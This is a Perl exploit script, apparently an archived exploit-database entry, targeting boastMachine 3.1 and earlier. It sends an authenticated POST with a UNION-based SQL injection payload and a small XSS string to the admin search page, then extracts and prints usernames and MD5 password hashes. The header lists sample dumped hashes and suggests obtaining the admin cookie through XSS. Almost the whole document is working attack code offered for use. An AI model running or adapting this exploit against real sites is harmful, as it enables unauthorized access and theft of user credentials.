boastMachineSQL.txt

`#!/usr/bin/perl  
#  
# VulnScr: boastMachine version 3.1 and prior  
# Web: http://boastology.com/  
#  
# Date: Sun July 16 10:43 PM 2006  
# Credits: DarkFig ([email protected])  
# Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename  
# Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French)  
# Required: Admin cookie (user+hash) (You can have it with the XSS)  
#  
# +-------------------------------------------+  
# | boastMachine <= 3.1 SQL Injection Exploit |  
# +-------------------------------------------+  
# root::95f44e0321ed96ba9d2961a54daab05e  
# darkfig::547bbdedb2a1df8a1422b58e1eaa2111  
# dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6  
#  
use IO::Socket;  
  
print STDERR "+-------------------------------------------+\n";  
print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |\n";  
print STDERR "+-------------------------------------------+\n";  
  
if(!$ARGV[3]) {  
print STDERR "| Usage: <host> <path> <admin> <md5hash> ---|\n";  
print STDERR "+-------------------------------------------+\n";  
exit();  
}  
  
my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);  
  
my $sock = IO::Socket::INET->new(  
PeerAddr => $host,  
PeerPort => 80,  
Proto => 'tcp',  
);  
my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=<script>alert(666)</script>";  
my $leng = length($data);  
  
print $sock "POST $path"."bmc/admin.php HTTP/1.1\r\n";  
print $sock "Host: $host\r\n";  
print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=\r\n";  
print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}\r\n";  
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";  
print $sock "Content-Length: $leng\r\n\n";  
print $sock "$data\r\n\n";  
  
while($answ = <$sock>) {  
if($answ =~ /<option value="(\S*)">(\S*)<\/option>/) {  
if(length($1) eq 32) {  
print STDERR $2."::".$1."\n";  
}}  
if($answ =~ /<option value="title">/) { last; }  
}  
$sock->close();  
exit();  
`